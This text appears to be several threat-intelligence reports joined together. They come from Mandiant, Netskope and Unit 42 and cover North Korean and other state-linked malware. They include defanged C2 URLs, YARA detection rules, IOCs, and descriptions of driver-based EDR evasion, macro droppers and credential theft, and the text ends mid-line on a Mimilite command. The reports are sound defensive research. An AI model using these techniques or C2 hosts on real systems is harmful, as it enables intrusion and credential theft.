+TOUCHSHIFT +a2109276dc704dedf481a4f6c8914c6e +TOUCHSHIFT +3bf748baecfc24def6c0393bc2354771 +TOUCHSHOT +91b6d6efa5840d6c1f10a72c66e925ce +TOUCHKEY +300103aff7ab676a41e47ec3d615ba3f +HOOKSHOT +49425d6dedb5f88bddc053cc8fd5f0f4 +TOUCHMOVE +abd91676a814f4b50ec357ca1584567e +SIDESHOW +05b6f459be513bf6120e9b2b85f6c844 +CLOUDBURST +hxxp://webinternal.anyplex[.]com/images/query_image.jsp +PLANKWALK C2 +hxxp://www.fainstec[.]com/assets/js/jquery/jquery.php +PLANKWALK C2 +hxxps://ajayjangid[.]in/js/jquery/jquery.php +PLANKWALK C2 +hxxps://sede.lamarinadevalencia[.]com/tablonEdictal/layout/contentLayout.jsp +PLANKWALK C2 +hxxps://leadsblue[.]com/wp-content/wp-utility/index.php +LIDSHOT C2 +hxxps://toptradenews[.]com/wp-content/themes/themes.php +SIDESHOW C2 +hxxp://mantis.quick.net[.]pl/library/securimage/index.php +SIDESHOW C2 +hxxp://www.keewoom.co[.]kr/prod_img/201409/prod.php +SIDESHOW C2 +hxxp://abba-servicios[.]mx/wordpress/wp-content/themes/config.php +SIDESHOW C2 +hxxp://www.ruscheltelefonia[.]com.br/public/php/index.php +SIDESHOW C2 +hxxps://olidhealth[.]com/wp-includes/php-compat/compat.php +CLOUDBURST C2 +hxxps://doug[.]org/wp-includes/admin.php +CLOUDBURST C2 +hxxps://crickethighlights[.]today/wp-content/plugins/contact.php +CLOUDBURST C2 +Mandiant Security Validation Actions +Organizations can validate their security controls using the following actions with Mandiant Security Validation. +Name +16/20 +A105-491 +Command and Control - QUESTDOWN, Exfiltration, Variant #1 +A105-492 +Command and Control - QUESTDOWN, Exfiltration, Variant #2 +A105-493 +Command and Control - QUESTDOWN, Next Stage Download Attempt, Variant #1 +A105-494 +Command and Control - QUESTDOWN, Status, Variant #1 +A105-507 +Phishing Email - Malicious Attachment, PLANKWALK Downloader, Variant #1 +A105-508 +Phishing Email - Malicious Attachment, QUESTDOWN Dropper, Variant #1 +A105-514 +Protected Theater - QUESTDOWN, Execution, Variant #1 +S100-218 +Malicious Activity Scenario - Campaign 22-046, QUESTDOWN Infection +Signatures +PLANKWALK +rule M_Hunt_APT_PLANKWALK_Code_String { +meta: +author = "Mandiant" +description = "Detects a format string containing code and token found in PLANKWALK" +strings: +$hex = { 63 6F 64 65 [1-6] 3D 25 64 26 [1-6] 75 73 65 72 [1-6] 3D 25 73 26 [1-6] 74 6F 6B 65 +condition: +(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $hex +LIDSHIFT +rule M_APT_Loader_Win_LIDSHIFT_1 { +meta: +author = "Mandiant" +description = "Detects LIDSHIFT implant" +strings: +$anchor1 = "%s:%s:%s" ascii +$encloop = { 83 ?? 3F 72 ?? EB ?? 8D ?? ?? +3F 2B ?? 42 0F ?? ?? ?? 41 ?? ?? } +B8 ?? 41 10 04 F7 ?? 8B ?? +2B ?? +D1 ?? +03 ?? +C1 ?? 05 6B ?? +condition: +uint16(0) == 0x5a4d and all of them +LIDSHOT +17/20 +rule M_APT_Loader_Win_LIDSHOT_1 { +meta: +author = "Mandiant" +description = "Detects LIDSHOT implant" +strings: +$code1 = { 4C 89 6D ?? 4C 89 6D ?? C7 45 ?? 01 23 45 67 C7 45 ?? 89 AB CD EF C7 45 ?? FE DC BA 98 C7 45 ?? 76 54 32 +10 4C 89 6C 24 ?? 48 C7 45 ?? 0F 00 00 00 C6 44 24 ?? 00 } +$code2 = { B8 1F 85 EB 51 41 F7 E8 C1 FA 03 8B CA C1 E9 1F 03 D1 6B CA 19 } +$code3 = { C7 45 ?? 30 6B 4C 6C 66 C7 45 ?? 55 00 } +condition: +uint16(0) == 0x5a4d and all of them +CLOUDBURST +rule M_APT_Loader_Win_CLOUDBURST_1 { +meta: +author = "Mandiant" +strings: +$anchor1 = "Microsoft Enhanced Cryptographic Provider v1.0" ascii wide +$code1 = { 74 79 70 +$code2 = { 65 71 75 69 } +$code3 = { 62 6F 78 69 } +$code4 = { E8 ?? ?? ?? ?? FF C6 B8 99 99 99 99 F7 EE D1 FA 8B C2 +C1 E8 1F 03 D0 +8D 04 16 +8D 34 90 +85 F6 75 ?? +$str1 = "%s%X" +condition: +uint16(0) == 0x5a4d and all of them +TOUCHSHIFT +rule M_DropperMemonly_TOUCHSHIFT_1 { +meta: +author = "Mandiant" +description = "Hunting rule for TOUCHSHIFT" +strings: +$p00_0 = {0943??eb??ff43??b0??eb??e8[4]c700[4]e8[4]32c0} +$p00_1 = {4c6305[4]ba[4]4c8b0d[4]488b0d[4]ff15[4]4c6305[4]ba[4]4c8b0d[4]488b0d} +condition: +uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and +($p00_0 in (70000..90000) and $p00_1 in (0..64000)) +18/20 +SIDESHOW +rule M_APT_Backdoor_Win_SIDESHOW_1 { +meta: +author = "Mandiant" +description = "Detects string deobfuscation function in SIDESHOW, may also detect other variants of +malware from the same actor" +strings: +$code1 = { 41 0F B6 ?? 33 ?? 48 ?? ?? 0F 1F 80 00 00 00 00 3A ?? 74 ?? FF ?? 48 FF ?? 83 ?? 48 72 ?? +EB ?? 41 0F ?? ?? 2B ?? ?? 39 8E E3 38 83 ?? 48 F7 ?? C1 ?? 04 8D ?? ?? C1 ?? 03 2B ?? ?? 39 8E E3 38 } +condition: +uint16(0) == 0x5a4d and (all of them) +TOUCHKEY +rule M_Hunting_TOUCHKEY { +meta: +author = "Mandiant" +description = "Hunting rule For TOUCHKEY" +strings: +$a1 = "Normal.dost" +$a2 = "Normal.docb" +$c1 = "[SELECT]" ascii wide +$c2 = "[SLEEP]" ascii wide +$c3 = "[LSHIFT]" ascii wide +$c4 = "[RSHIFT]" ascii wide +$c5 = "[ENTER]" ascii wide +$c6 = "[SPACE]" ascii wide +condition: +(uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 +and filesize < 200KB and (5 of ($c*)) and $a1 and $a2 +TOUCHSHOT +19/20 +rule M_Hunting_TOUCHSHOT { +meta: +author = "Mandiant" +description = "Hunting rule For TOUCHSHOT" +strings: +$path = "%s\\Microsoft\\Windows\\Themes\\" wide +$format = "%04d%02d%02d-%02d%02d%02d" +$s1 = "EnumDisplaySettingsExW" ascii +$s2 = "GetSystemMetrics" ascii +$s3 = "GetDC" ascii +$s5 = "ReleaseDC" ascii +condition: +(uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 +and filesize < 200KB and (3 of ($s*)) and $path and $format +HOOKSHOT +rule M_Hunting_HOOKSHOT { +meta: +author = "autopatt" +description = "Hunting rule for HOOKSHOT" +strings: +$p00_0 = {8bb1[4]408873??85f675??488b81[4]488b88[4]4885c974??e8} +$p00_1 = {8bf3488bea85db0f84[4]4c8d2d[4]66904c8d4424??8bd6488bcd} +condition: +uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and +($p00_0 in (470000..490000) and $p00_1 in (360000..380000)) +Acknowledgements +Special thanks to John Wolfram, Rich Reece, Colby Lahaie, Dan Kelly, Joe Pisano, Jeffery Johnson, Fred Plan, Omar ElAhdan, Renato +Fontana, Daniel Kennedy, and all the members of Mandiant Intelligence and Consulting that supported these investigations. We would also +like to thank Lexie Aytes for creating Mandiant Security Validation (MSV) actions, as well as Michael Barnhart, Jake Nicastro, Geoff Ackerman, +and Dan Perez for their technical review and feedback. +20/20 +Stealing the LIGHTSHOW (Part Two) + LIGHTSHIFT and +LIGHTSHOW +mandiant.com/resources/blog/lightshift-and-lightshow +In part one on North Korea's UNC2970, we covered UNC2970 +s tactics, techniques and +procedures (TTPs) and tooling that they used over the course of multiple intrusions. In this +installment, we will focus on how UNC2970 utilized Bring Your Own Vulnerable Device +(BYOVD) to further enable their operations. +During our investigation, Mandiant consultants identified most of the original compromised +hosts, targeted by UNC2970, contained the files %temp%\_SB_SMBUS_SDK.dll +and suspicious drivers, created around the same time on disk. +At the time Mandiant initially identified these files, we were unable to determine how they +were dropped or the exact use for these files. It wasn't until later in the investigation, during +analysis of a forensic image, where the pieces started falling into place. A consultant noticed +multiple keyword references to the file C:\ProgramData\USOShared\Share.DAT (MD5: +def6f91614cb47888f03658b28a1bda6 ). Upon initial glance at the Forensic Image, this file +was no longer on disk. However, Mandiant was able to recover the original file, and the initial +analysis of the sample found that Share.DAT was a XORed data blob, which was encoded +with the XOR key 0x59 . +The decoded payload (MD5: 9176f177bd88686c6beb29d8bb05f20c ), referred to by +Mandiant as LIGHTSHIFT, is an in-memory only dropper. The LIGHTSHIFT dropper +distributes a payload (MD5: ad452d161782290ad5004b2c9497074f ) that Mandiant refers +to as LIGHTSHOW. Once loaded into memory, LIGHTSHIFT invokes the exports Create +then Close in that order. The response from Close is written as a hex formatted address +to the file C:\Windows\windows.ini . +Figure 1: LIGHTSHIFT preparing to load LIGHTSHOW +LIGHTSHOW is a utility that makes use of two primary anti-analysis techniques used to +hinder both dynamic and static analysis. To deter static analysis, LIGHTSHOW was observed +being packed by VM-Protect. In an effort to thwart dynamic analysis, LIGHTSHOW is +targeted to a specific host and requires a specific SHA256 hash corresponding to a specific +computer name or the sample will not fully execute. Once FLARE completed the analysis of +LIGHTSHOW, we were able to understand how the files %temp%\ +_SB_SMBUS_SDK.dll and drivers were created on disk. +LIGHTSHOW is a utility that was used by UNC2970 to manipulate kernel data-structures +and represents an advancement in DPRK +s capabilities to evade detection. To accomplish +this, LIGHTSHOW drops a legitimate version of a driver with known vulnerabilities, with a +SHA256 hash of +175eed7a4c6de9c3156c7ae16ae85c554959ec350f1c8aaa6dfe8c7e99de3347 to +C:\Windows\System32\Drivers with one of the following names chosen at random and +appended with mgr : +circlass +dmvsc +hidir +isapnp +umpass +LIGHTSHOW then creates the registry key +HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ where + is the same as the chosen filename without appended mgr . It then +creates a registry key with the value name ImagePath , which points to the path of the +driver. The sample then loads the driver using NtLoadDriver . LIGHTSHOW drops and +loads a dummy DLL %temp%\_SB_SMBUS_SDK.dll to register itself to the driver +as a legitimate caller. +Using the vulnerable driver, LIGHTSHOW can perform arbitrary read and write operations +to kernel memory. LIGHTSHOW uses this read/write primitive to patch different kernel +routines, which are related to the type of facilities an Endpoint Detection and Response +(EDR) software may use, to enable evasion of said EDR software. After the read and write +operations to kernel memory, the sample unloads and deletes %temp%\ +_SB_SMBUS_SDK.dll . +Examining the chain of execution, we see further obfuscation techniques being employed in +LIGHTSHOW. UNC2970 has a concerted effort towards obfuscation and employs multiple +methods to do this throughout the entire chain of delivery and execution. +Figure 2: LIGHTSHOW Obfuscation +LIGHTSHOW is another example of tooling that looks to capitalize on the technique of +BYOVD. BYOVD is a technique that utilizes the abuse of legitimate and trusted, but +vulnerable drivers, to bypass kernel level protections. This technique has been utilized by +adversaries ranging from financial actors, such as UNC3944, to espionage actors like +UNC2970, which shows its usefulness during intrusion operations. AHNLab recently +released a report on activity tracked as Lazarus Group that focused largely on the use of +BYOVD. While Mandiant did not observe the hashes included in the AHNLab report, the use +of SB_SMBUS_SDK.dll as well as other similarities, such as the exported functions Create +and Close , indicate an overlap between the activity detailed in this blog post and those +detailed by AHNLab. +Throughout several incidents we responded to in 2022 that involved UNC2970, we observed +them utilizing a small set of vulnerable drivers. This includes the Dell DBUtil 2.3 and the +ENE Technology device drivers. UNC2970 utilized both of these drivers in an attempt to +evade detection. These two drivers, and many more, are found in the Kernel Driver Utility +(KDU) toolkit. With this in mind, it is likely that we will continue to see UNC2970 abuse +vulnerable drivers from other vendors. +Mandiant has worked to detect and mitigate BYOVD techniques for a number of years and +has worked closely with industry allies to report vulnerabilities when discovered. During +research being carried out on UNC2970 we discovered a vulnerable driver that the actor had +access to, but did not know was vulnerable - essentially making it a 0day in the wild but not +being actively exploited. This was verified through our Offensive Task Force who +subsequently carried out a notification to the affected organization and reported the +vulnerability to MITRE, which was assigned CVE-2022-42455. +Outlook and Implications +Mandiant continues to observe multiple threat actors utilizing BYOVD during intrusion +operations. Because this TTP provides adversaries an effective means to bypass and mitigate +EDR, we assess that it will continue to be utilized and adapted into actor tooling. The +continued targeting of security researchers by UNC2970 also provides an interesting way that +the group can potentially continue to expand their toolset to gain an upper hand with +BYOVD. +Mitigations +Because attestation signing is a legitimate Microsoft program and the resulting drivers are +signed with Microsoft certificates, execution-time detection is made much more difficult as +most EDR tools and Anti-Viruses will allow binaries signed with Microsoft certificates to +load. The recent blog post released by Mandiant on UNC3944 driver operations details +multiple techniques that can be used by organizations to hunt for the abuse of attestation +signing. If you haven't already, don't forget to read part one on North Korea's UNC2970. +Additionally, Microsoft recently released a report detailing how organizations can harden +their environment against potentially vulnerable third-party developed drivers. +Indicators of Compromise +Signature +def6f91614cb47888f03658b28a1bda6 +d LIGHTSHIFT +9176f177bd88686c6beb29d8bb05f20c +LIGHTSHIFT +ad452d161782290ad5004b2c9497074f +LIGHTSHOW +7e6e2ed880c7ab115fca68136051f9ce +ENE Driver +SB_SMBUS_SDK.dll +LIGHTSHOW Dummy DLL +C:\Windows\windows.ini +LIGHTSHIFT Output +Signatures +LIGHTSHIFT +rule M_Code_LIGHTSHIFT +meta: +author = "Mandiant" +description = "Hunting rule for LIGHTSHIFT" +sha256 = +"ce501fd5c96223fb17d3fed0da310ea121ad83c463849059418639d211933aa4" +strings: +$p00_0 = {488b7c24??448d40??48037c24??488bcfff15[4]817c24[5]74?? +488b4b??33d2} +$p00_1 = {498d7c01??8b47??85c075??496345??85c07e??8b0f41b9} +condition: +uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and +($p00_0 in (750..11000) and $p00_1 in (0..8200)) +LIGHTSHOW +rule M_Code_LIGHTSHOW +meta: +author = "Mandiant" +description = "Hunting rule For LIGHTSHOW." +md5 = +"ee5057da3e38b934dae15644c6eb24507fb5a187630c75725075b24a70065452" +strings: +$E01 = { 46 75 64 4d 6f 64 75 6c 65 2e 64 6c 6c } +$I01 = { 62 63 72 79 70 74 2e 64 6c 6c } +$I02 = { 4b 45 52 4e 45 4c 33 32 2e 64 6c 6c } +$I03 = { 75 73 65 72 33 32 2e 64 6c 6c 00 } +57 } +$H1 = +{ 4D 5A 90 00 } +$H2 = +{ 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F } +$F01 = { 47 65 74 4d 6f 64 75 6c 65 46 69 6c 65 4e 61 6d 65 +$F02 = { 47 65 74 4d 6f 64 75 6c 65 48 61 6e 64 6c 65 41 } +$F03 = { 47 65 74 46 69 6c 65 54 79 70 65 } +$F04 = { 47 65 74 56 65 72 73 69 6f 6e } +73 } +$F05 = { 51 75 65 72 79 53 65 72 76 69 63 65 53 74 61 74 75 +$F06 = { 42 43 72 79 70 74 4f 70 65 6e 41 6c 67 6f 72 69 74 +68 6d 50 72 6f 76 69 64 65 72 } +$M01 = { 68 2d 79 6e b1 } +$M02 = { 68 ea 71 c2 55 } +$M03 = { 66 b8 ad eb } +$M04 = { 4c 8d 2c 6d b3 6c 05 39 } +$M05 = { 48 8d 2c 95 08 9d ec 9a } +$S01 = { 48 8d 0c f5 a3 cd 0a eb} +$S02 = { 81 f9 7f 56 e6 0a} +condition: +($H1 in (0..2048)) and ($H2 in (0..2048)) and filesize < 100MB +and filesize > 5KB and all of ($M0*) and all of ($E*) and all of ($I0*) +and 6 of ($F0*) and all of ($S0*) +A Look at the Nim-based Campaign Using Microsoft +Word Docs to Impersonate the Nepali Government +netskope.com/blog/a-look-at-the-nim-based-campaign-using-microsoft-word-docs-to-impersonate-the-nepaligovernment +December 20, 2023 +Summary +Threat actors often employ stealthy attack techniques to elude detection and stay under the +defender +s radar. One way they do so is by using uncommon programming languages to +develop malware. Using an uncommon programming language to develop malware provides +several benefits, including: +Evading some signature based detections +Impeding analysis by malware analysts that are unfamiliar with the language +Limited community detection and published analysis +Netskope recently analyzed a malicious backdoor written in Nim, which is a relatively new +programming language. Netskope Threat labs has observed an increase in Nim-based +malware over the past year and expects Nim-based malware to become more popular as +attackers continue to modify existing Nim-based samples. One of the highest-profile Nimbased malware families was the Dark Power ransomware, which began spreading in the wild +earlier this year. +This blog post provides a breakdown of a recent targeted threat that uses Word document +bait to deliver a Nim backdoor. +Delivery Method +A malicious Word document was used to drop the Nim backdoor. The document was sent as +an email attachment, where the sender claims to be a Nepali government official sending +security arrangements. Despite the security controls placed around macros in Office files, we +are still seeing APT-attributed malware using them to drop their payload, like the Menorah +malware we analyzed a couple of months ago. +Initially opening the file will show a blank document with an instruction to enable macros. +When the user clicks +Enable Content, + the auto-trigger routine (Document_Open) in the +code will execute. Once the main function is called, the code is executed through additional +VBA functions inside the document. +1/12 +Malicious Word file prior enabling macro +Defense Evasion +To help bypass AV and static based detections, the VBA project is password protected and +macros are obfuscated using the Chr( ) VBA function and string concatenation. The VBA +code is split into the four subroutines in the image below. +sch_task is a function that creates a VBscript named +OCu3HBg7gyI9aUaB.vbs + that will +serve as the chain trigger. Initially, the VBscript is created in the AppData startup folder +(C:\Users\\AppData\Roaming\Microsoft\Windows\Start +Menu\Programs\Startup\OCu3HBg7gyI9aUaB.vbs) and is set as a hidden file. Oddly, some +variables are initialized in one function, but then utilized in a different function/s, which could +be meant to confuse static analysis. Some strings referring to directories and libraries are +split and then concatenated to evade static detection. +2/12 +VBA code for sch_task routine. +hide_cons is a function to create another VBScript named +skriven.vbs, + which will be used +8lGghf8kIPIuu3cM.bat + as a shell to run other scripts. More detailed info about this batch +script is found below. Again, some strings referring to directories and libraries are split and +then concatenated. +VBA code for hide_cons routine. +read_shell is a function that creates the payload named conhost.exe, which is inside a ZIP +archive. As can be seen from the screenshot below of the macro code, it assembles the ZIP +from an array of decimals (by converting each to byte) stored in the +UserForm1 + object. The +resulting byte array is the actual ZIP file and is dropped to C:\Users\ +\AppData\Local\Microsoft\conhost.zip +3/12 +VBA code for read_shell routine. +UserForm1 Containing Decimal/Bytes. +vb_chainis a function mainly for creating +8lGghf8kIPIuu3cM.bat +, which will be the stage of +infection before the final payload. Exact file paths are generated by the VBA macro before +writing to the batch file. +4/12 +vb_chain code snapshot. +Dropped Files Summary: +e2a3edc708016316477228de885f0c39.doc drops: +OCu3HBg7gyI9aUaB.vbs (C:\Users\ +\AppData\Roaming\Microsoft\Windows\Start +Menu\Programs\Startup\OCu3HBg7gyI9aUaB.vbs) +skriven.vbs (C:\Users\\AppData\Local\skriven.vbs) +conhost.zip (C:\Users\\AppData\Local\Microsoft\conhost.zip) +8lGghf8kIPIuu3cM.bat (C:\Users\\AppData\Local\8lGghf8kIPIuu3cM.bat) drops +these in C:\Users\\AppData\Local: +unzFile.vbs +unz.vbs +2L7uuZQboJBhTERK.bat +2BYretPBD4iSQKYS.bat +d.bat +e.bat +5/12 +Nim Backdoor +The Word document drops a malicious backdoor named +conhost.exe +. The malware is +written in Nim and was likely compiled on September 20, 2023. Nim is a statically typed +compiled programming language. Its versatility shines through its ability to be compiled to C, +C++, or JavaScript, coupled with a Pythonic syntax for a developer-friendly experience. +6/12 +The backdoor runs within the same privilege as the current user logged in. It +s looking to +continue its ploy that the file was from a Nepali authority by imitating government domains for +its C&C server ([.]govnp[.]org). When this backdoor is left undetected, users are at risk of +having attackers gaining remote access. +Even though the C2 servers are no longer accessible at the time of analysis, we were still +able to extrapolate some of its behaviors, which can be seen below. +Anti-analysis Technique +The malware performs a simple background check before connecting to its command and +control server. Initially, the Nim backdoor spawns a command prompt to run tasklist.exe and +checks for any processes running from its list of known analysis tools. The backdoor will +terminate itself shortly if it sees any of the analysis tools from the list running. +7/12 +Processes the backdoor avoids +Command and control through web protocol +Once the backdoor confirms there are no analysis tools running, it will spawn another +command prompt instance to get the machine +s hostname, then connect to its C&C server. It +encrypts the hostname with a function named bakery. The encrypted hostname is encoded +twice in base64, spliced behind a randomly chosen C&C server URL, and then concatenated +with the +.asp + suffix at the end to obtain the URL of the final command. The command +delivered by the C&C server is obtained through an HTTP GET request. +Response data from GET contains the command from the C&C server. If the response data +is different from the last time it was fetched, it means that the C&C server has issued a new +command. Otherwise it will be dormant and keep requesting the command from the C&C +server. Decryption of response data (command) is done by the confectionary function, then +concatenated with cmd /c to execute the command. The execution result is also sent back to +the server through a GET request. The key used for encryption and decryption is +which may be an abbreviation of NP (Nepal) Agent. +8/12 +Screenshot of network traffic specific to the sample. +The sample contacts the following C2 hosts: +mail[.]mofa[.]govnp[.]org +nitc[.]govnp[.]org +mx1[.]nepal[.]govnp[.]org +dns[.]govnp[.]org +Persistence through Startup Folder and Scheduled Task +To retain access on the machine, a VBscript named +OCu3HBg7gyI9aUaB.vbs + is placed in +the startup folder. The script will initially confirm an internet connection using WMI +Win32_PingStatus + class to ping https://www.google[.]com. If successful, it will run a batch +file named +8lGghf8kIPIuu3cM.bat +The main task of the batch file +8lGghf8kIPIuu3cM.bat + is to drop files that will further unpack +and create a scheduled task for the payload. The batch file will create more scripts that will +carry out these subtasks: +unz.vbs is used for decompressing the executable out from the archive into the same +directory +unzFile.vbs creates unz.vbs +2L7uuZQboJBhTERK.bat is just for chaining; runs unzFile.vbs then runs +2BYretPBD4iSQKYS.bat +2BYretPBD4iSQKYS.bat is just for chaining; runs unz.vbs then runs d.bat +d.bat creates a scheduled task of the unpacked payload (conhost.exe) then runs e.bat +e.bat deletes itself and the other scripts created by 8lGghf8kIPIuu3cM.bat +9/12 +The batch file named +d.bat + creates a scheduled task to attain another persistent execution +of the malware on the target machine. The scheduled task is named +ConsoleHostManager + as seen in the below screenshot. +Screenshot for Scheduled Task created. +Netskope Detection +Netskope Advanced Threat Protection provides proactive coverage against zero-day and +APT samples of malicious Office documents using both our static analysis engines and cloud +sandbox. The following screenshot shows the detection for +e2a3edc708016316477228de885f0c39, indicating it was detected by Netskope Cloud +Sandbox, Netskope Advanced Heuristic Engine, and Netskope Threat Intelligence. +10/12 +Conclusions +Malware written in uncommon programming languages puts the security community at a +disadvantage as researchers and reverse engineers + unfamiliarity can hamper their +investigation. Nim is one of the young programming languages increasingly abused by +malware authors. Aside from its familiar syntax, its cross-compilation features allow attackers +to write one malware variant and have it cross-compiled to target different platforms. +Netskope Threat Labs will continue monitoring the usage of unpopular programming +languages. +IOCs +e2a3edc708016316477228de885f0c39 +777fcc34fef4a16b2276e420c5fb3a73 +EF834A7C726294CE8B0416826E659BAA +32C5141B0704609B9404EFF6C18B47BF +SHA-1 +3aa803baf5027c57ec65eb9b47daad595ba80bac +5D2E2336BB8F268606C9C8961BED03270150CF65 +4CAE7160386782C02A3B68E7A9BA78CC5FFB0236 +0599969CA8B35BB258797AEE45FBD9013E57C133 +SHA-256 +b5c001cbcd72b919e9b05e3281cc4e4914fee0748b3d81954772975630233a6e +696f57d0987b2edefcadecd0eca524cca3be9ce64a54994be13eab7bc71b1a83 +11/12 +88FA16EC5420883A9C9E4F952634494D95F06F426E0A600A8114F69A6127347F +1246356D78D47CE73E22CC253C47F739C4F766FF1E7B473D5E658BA1F0FDD662 +Network +mail[.]mofa[.]govnp[.]org +nitc[.]govnp[.]org +mx1[.]nepal[.]govnp[.]org +dns[.]govnp[.]org +Thank you to Juan Diego Huet for helping analyze the sample files and contributing to this +blog. +Ghanashyam Satpathy +Ghanashyam Satpathy is a Principal Researcher with the Netskope Efficacy team, which +drives the detection effectiveness. His background is building threat detection products using +AI/ML technology for cloud and endpoint security. +12/12 +New Tool Set Found Used Against Organizations in the +Middle East, Africa and the US +unit42.paloaltonetworks.com/new-toolset-targets-middle-east-africa-usa +Chema Garcia +December 1, 2023 +By Chema Garcia +December 1, 2023 at 3:00 AM +Category: Malware +Tags: .NET Framework, Advanced URL Filtering, Advanced WildFire, Agent Raccoon, +backdoor, CL-STA-0002, CL-STA-0043, Cortex XDR, DNS, DNS security, Mimikatz, +Mimilite, Ntospy +This post is also available in: + (Japanese) +Executive Summary +Unit 42 researchers observed a series of apparently related attacks against organizations in +the Middle East, Africa and the U.S. We will discuss a set of tools used in the course of the +attacks that reveal clues about the threat actors + activity. We are sharing this research to +provide detection, prevention and hunting recommendations to help organizations strengthen +their overall security posture. +These tools were used to perform the following activities: +Establish backdoor capabilities +For command and control (C2) +Steal user credentials. +Exfiltrate confidential information +Unit 42 is sharing these results with the purpose of helping organizations defend against the +tools observed here. +We assess with medium confidence that this threat activity cluster aligns to nation-state +related threat actors due to the nature of the organizations that were compromised, the TTPs +observed and the customization of the tool set. We have not confirmed a particular nationstate or threat group. +Tools that were used in this cluster were the following: +1/22 +A new backdoor we +ve named Agent Racoon +This malware family is written using the .NET framework and leverages the +domain name service (DNS) protocol to create a covert channel and provide +different backdoor functionalities. Threat actors have used this along with the +other two tools in multiple attacks targeting organizations across the U.S., Middle +East and Africa. Its C2 infrastructure dates back to 2020. +A new tool we +ve named Ntospy +This malware is a Network Provider DLL module designed to steal user +credentials. +A customized version of Mimikatz called Mimilite +The compromised organizations belong to the following industries: +Education +Real estate +Retail +Non-profit organizations +Telecom companies +Governments +Based on unique similarities in tools as well as tactics, techniques and procedures (TTPs), +we are tracking this threat activity cluster as CL-STA-0002. +What follows is a detailed description of the activity we observed as well as characteristics of +the tool set. +Palo Alto Networks customers receive protection from these threats through Cortex XDR as +well as Advanced URL Filtering, DNS Security and Advanced Wildfire. Organizations can +engage the Unit 42 Incident Response team for specific assistance with this threat and +others. +Related Unit 42 Topics +DNS, Mimikatz, Backdoor +Table of Contents +Activity Summary +Gaining Access to Credentials with Ntospy +Credentials Dumping Through Mimilite +Agent Racoon Backdoor +Data Exfiltration +Conclusion +Indicators of Compromise +Additional Resources +2/22 +Activity Summary +The threat actor used temporary directories such as C:\Windows\Temp and C:\Temp to +deploy specific components of their tool set across the different affected organizations. They +used the following similar filenames for batch and PowerShell scripts: +c:\windows\temp\crs.ps1 +c:\windows\temp\ebat.bat +c:\windows\temp\install.bat +c:\windows\temp\mslb.ps1 +c:\windows\temp\pb.ps1 +c:\windows\temp\pb1.ps1 +c:\windows\temp\pscan.ps1 +c:\windows\temp\set_time.bat +c:\windows\temp\usr.ps1 +While the attackers commonly used Ntospy across the affected organizations, the Mimilite +tool and the Agent Racoon malware have only been found in nonprofit and governmentrelated organizations + environments. +After each attack session, the threat actor leveraged cleanmgr.exe to clean up the +environment used during the session. +Gaining Access to Credentials with Ntospy +To perform credential theft, the threat actor used a custom DLL module implementing a +Network Provider. A Network Provider module is a DLL component implementing the +interface provided by Microsoft to support additional types of network protocols during the +authentication process. +This technique is pretty well documented. Sergey Polak demonstrated the technique at +BlackHat back in 2004 at his session titled +Capturing Windows Passwords using the +Network Provider API. + In 2020, researcher Grzegorz Tworek uploaded his tool NPPSpy to +GitHub, which also implements this technique. +Due to the file naming patterns of the DLL module, and as a reference to the previous +research and tools, Unit 42 researchers named this malware family Ntospy. The threat actor +registers the Ntospy DLL module as a Network Provider module to hijack the authentication +process, to get access to the user credentials every time the victim attempts to authenticate +to the system. +Figure 1 illustrates the path of the processes the malware used during the authentication +process to load the malicious DLL module in an MS Exchange Server environment. +3/22 +Figure 1. Image path of processes loading the malicious DLL component in an MS Exchange +environment. +The threat actor +s implementation of this technique has some unique features. They created +different versions of the Ntospy malware over the time frame we observed. They all share +similarities, such as the following: +Using filenames with Microsoft patch patterns. +.msu extensions pretending to be Microsoft Update Package files to store the received +credentials in cleartext. +RichPE header hashes that link different samples to the same compilation +environment. +To install the DLL module, the threat actor registers a new Network Provider called credman. +They do so by using an installation script found at C:\Windows\Temp\install.bat that installs +the Network Provider by using reg.exe. The malware then sets the DLL module path by +pointing to the malicious DLL module c:\windows\system32\ntoskrnl.dll. +Figure 2 shows static commonalities across the different DLL modules we identified as +belonging to the same malware family. The image also illustrates that there are overlaps on +the RichPE header hash as well as the PE sections of the samples. +4/22 +Figure 2. Graph of static features relation across samples. +In the group of samples with the same RichPE header hash, we saw that they had been +compiled using the same environment. In this case, that was Visual Studio 2019 v16.0.0 +build 27508. Other samples of the malware family have been compiled on different +environments or even tweaked to avoid overlapping. +The samples that don +t share the same build environment are actually similar in behavior, but +they have some differences in implementation. For instance, some of the malware samples +contain the file path used to store the credentials hard-coded in plain text. Figures 3 and 4 +show how others use an encrypted file path and stack strings. +Figure 3. Pseudocode showing the hard-coded file path in cleartext. +5/22 +Figure 4. Pseudocode showing the file path encrypted with a stream cipher. +Decrypting the file path at runtime shows that the versions using an encrypted file path also +use the same file path pattern, as shown in Figure 5. +Figure 5. File path decrypted at runtime. +All the DLL modules we identified use the same file path pattern, abusing the .msu file +extension to masquerade as a Microsoft Update Package. The following paths are used by +the malware samples: +c:/programdata/microsoft/~ntuserdata.msu +c:/programdata/package cache/windows10.0-kb5000736-x64.msu +c:/programdata/package cache/windows10.0-kb5009543-x64.msu +c:/programdata/packag~1/windows 6.1-kb4537803.msu +Also, the DLL files are stored in the following file paths: +C:\Windows\System32\ntoskrnl.dll +C:\Windows\Temp\ntoskrnl.dll +C:\Windows\Temp\ntos.dll +6/22 +While the first file path is the one used to actually install the Network Provider module, the +Temp directory is the working directory used by the threat actor to temporarily store the DLL +modules. As shown in the file paths above, the threat actor used Windows binary name +patterns (based on the Windows system file named ntoskrnl.exe) in an attempt to trick +victims and analysts into overlooking the malicious DLL component. +The first activity is identified with the malware sample with the file hash SHA256 +bcd2bdea2bfecd09e258b8777e3825c4a1d98af220e7b045ee7b6c30bf19d6df. This overlaps +with another threat activity cluster that we call CL-STA-0043, originally published in June +2023. +Credentials Dumping Through Mimilite +Another tool used for gathering credentials and sensitive information is a customized version +of the well-known Mimikatz tool that, according to references within the sample, the threat +actor calls Mimilite. +The tool is a reduced version of Mimikatz, which needs to be given a password through the +command line to run: +C:\temp\update.exe 1dsfjlosdf23dsfdfr 